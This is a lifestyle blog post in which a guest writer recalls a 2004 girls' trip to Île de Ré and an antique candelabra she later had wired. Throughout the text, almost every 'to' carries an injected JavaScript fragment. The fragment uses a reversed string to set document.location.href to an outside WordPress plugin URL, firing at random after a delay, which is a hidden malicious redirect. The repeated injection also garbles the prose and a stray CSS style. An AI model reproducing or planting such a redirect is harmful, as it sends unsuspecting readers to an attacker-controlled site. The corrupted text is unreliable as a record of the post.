Antiques & Salted Caramels

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>Before I was The Antiques Diva… I was just plain ole me. Toma.  Sometimes I miss those days when I was footloose and fancy free… when I didn’t work, when I traveled Europe with my friends, drank champagne every afternoon…. Life was a a constant pleasure ride. Oh wait….  That’s my life now! Okay…toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today I’m not exactly “footloose and fancy free” as now I tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to manage my agenda like a drill sergeant, speaking in one country one day, leading a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour in another country another day, and researching yet another country for an article on another day…. but the fact is I am incredibly fortunate – I’ve built a company and get paid toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to live a life I love living.  Nevertheless, I have such fond memories of my first 5 years living in Europe when legally the French government had denied me my work visa and I was an expat wife hanging out with my girlfriends. One of those girlfriends was my dear friend Catherine, who has also since come out of expat-wife retirement and runs a brilliant social media consultancy firm called Hire Catherine.

Today’s blog is actually a Guest Blog From Catherine who has written with fondness about those days of yore….

So Ta Ta from me… And Hello From Catherine of Hire Catherine!

freelance-content-writer, Hire Catherine, Catherine Russell

I recently moved (yes, again: I actually moved 5 times in the last year, don’t ask!) and the movers delivered box after box after box, including some boxes that I had not seen or opened since moving from Europe 10 years ago. So I was more than excited toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to unpack one long-forgotten box and discover:

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Souvenirs…  Souvenir (French): memory (English)

In 2004 four Paris friends organized their 1st of many-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-come girls trips. I’d been wanting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to visit Île de Ré for several years, and as we were leaving Paris for Copenhagen in a few months, it felt like now or never. Toma was moving toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Amsterdam, Tam returning toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the US, and Stacey had just returned toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Paris from a year in Tokyo. Things were changing, so we decided: Girls Trip!

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Île de Ré is an island off the western coast of France, easily reached from Paris by TGV. I’d been reading about Île de Ré for years, and I’d made a list of must-dos:

  • Visit the salt fields
  • Salted caramel ice cream
  • The antique shop Barbotine
  • Fresh from the ocean oysters and seafood
  • Biking around the island

We scheduled our dates, and off we went for a 4-day visit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the village of Saint-Martin, Île de Ré in the beautiful month of May, before the island is overrun with toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourists.

Bien sur: we checked off every item on my checklist, (and couldn’t get enough of the salted caramel ice cream!) and without a doubt my favorite souvenir of our girl’s trip toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Île de Ré was our visit toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Barbotine.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Roaming the aisles, I finally spotted the perfect souvenir of our Île de Ré trip: an antique pale gray candelabra, dangling with crystals and sparkling with charm. I no longer remember the price, but whatever I paid it was worth it. What I do remember was I was not happy with the cost toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ship my new antique candelabra toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Paris: so after making the snap decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to buy it, I decided toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to carry my new fixture home with me on the train. With 3 friends toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help, the candelabra made it safely toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my apartment on rue de Prony, where I inserted candles and hung it from our living room ceiling.

4 months later, the movers toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took down the candelabra, packed it up, and we moved toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Copenhagen.

Fast-forward 10 years and I was unpacking boxes in Delray Beach, Florida from New York, Chicago, Boyntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Beach and many stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torage units. And there was my beautiful souvenir candelabra, which I’d completely forgotten about over the years. My new 12 foot ceilings were perfect toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to showcase the candelabra, but I decided toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have the fixture rewired, so toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a local lighting repair stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore, Quality Lighting in Delray Beach. I left instructions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to rewire the chandelier, so I didn’t have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to worry about frayed or fragile electrical wires.

3 days later Quality called: the fixture was not wired for electricity! Somewhere between purchasing my antique candelabra and 10 years later hanging it again, I’d forgotten the fixture was never wired. That explained why I used candles 10 years earlier! I gave the go-ahead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wire the candelabra, and $400 later (gulp!) I have a beautiful chandelier in my living room.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

Several weeks after hanging my chandelier, I was continuing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to unpack boxes and discovered another souvenir of Île de Ré and friendship, which I’d forgotten Toma had given me many years ago.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines

The Best Antiques are Old Friends

For readers ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to head toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Île de Ré , remember it’s just a hop skip and a jump from Bordeaux – which makes it perfect for adding on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to an Antiques Diva Bordeaux Tour.

Bon Voyage!
The Antiques Diva – with a little help from a friend.

Ile de Re, Salted caramel, Catherine Russell, Hire Catherine, Girls Trip in Europe, Salt Fields, Barbotine, Weekend Trips from Paris, Antique Candelabra, Antique Chandelier, The Antiques Diva, Toma Clark Haines
(Seen here in a more recent pic taken at Villa Vizcaya on yet anthers girls trip!  We’re still taking them…. just now we tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to squeeze them in around work commitments, etc.)